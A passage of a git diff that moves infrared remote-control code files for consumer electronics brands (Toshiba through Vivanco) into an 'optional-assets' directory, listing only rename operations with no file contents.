a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0049/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0058/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_SE-R0127/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHIBA/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TOSHTV/64,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_TSR-101R/66,187.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0047/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_Toshiba-SE-R0090/69,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-642T/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VC-90B/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-11/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-204G/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-209W/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_VT-75F/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/Unknown_toshiba-RM-A210/42,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Toshiba/VCR/68,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Toshiba/VCR/68,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Control/Unknown_Control/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Total Media In Hand/Unknown_Media/2,189.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Traxis/Unknown_3500/4,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Trust/Unknown_RC-2400/52,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Trutech/Unknown_TV/0,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtle Beach/MP3 Player/1,249.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Turtlebeach/Unknown_Audiotron/1,249.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_AD-SP200/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Twinhan/Unknown_DTV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_DTV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Typhoon/Unknown_RC-0718-3/96,1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/UEC/Unknown_DVB/24,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/UPC/Unknown_SAT/39,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/US Electronics/Cable Box/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Ultrawave/Unknown_3500PFTA/2,2.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Umax/Unknown_D-701/0,240.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Uniden/Satellite/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Uniden/Satellite/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/United/Unknown_United-DVD4057M/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_001/4,15.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_001/4,15.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_006/56,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_089/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_101/6,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_111/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_111/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Knopex/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_MC-10/5,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_Powerhouse/166,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RC/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RM-V211T/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_RZ-55/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_URC-6012w/2,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_cme/7,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lircd.conf/128,123.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_lt3607-aux599/135,124.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_testrecord.config/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Universal/Unknown_tv/1,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Velodyne/Subwoofer/0,69.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_STB7766G1/66,187.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Venturer/Unknown_boombox/129,129.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vestel/Unknown_TV/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Video7/Unknown_Video7-RC750/32,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vidikron/Video Projector/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_98TR7BD-ONT-VSF/131,241.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_RC00070P/131,241.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/ViewSonic/Unknown_vsnv6/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewmaster/Unknown_RC-03/73,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_SAT/32,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Viewsat/Unknown_VS2000/32,255.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Virgin-media/Unknown_VIRGINTIVO/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Visionetics/Unknown_Cable/134,107.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_DVD-5211/0,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vistron/Unknown_LTM-3271E/8,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_DVD/26,73.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir b/assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir similarity index 100% rename from assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir rename to assets/resources/infrared/optional-assets/_CSV-IRDB_/Vivanco/Unknown_UR2/10,-1.ir diff --git a/assets/resources/infrared/_CSV-IRDB_/Vivanco/Unknown_ur89/0,-1.ir 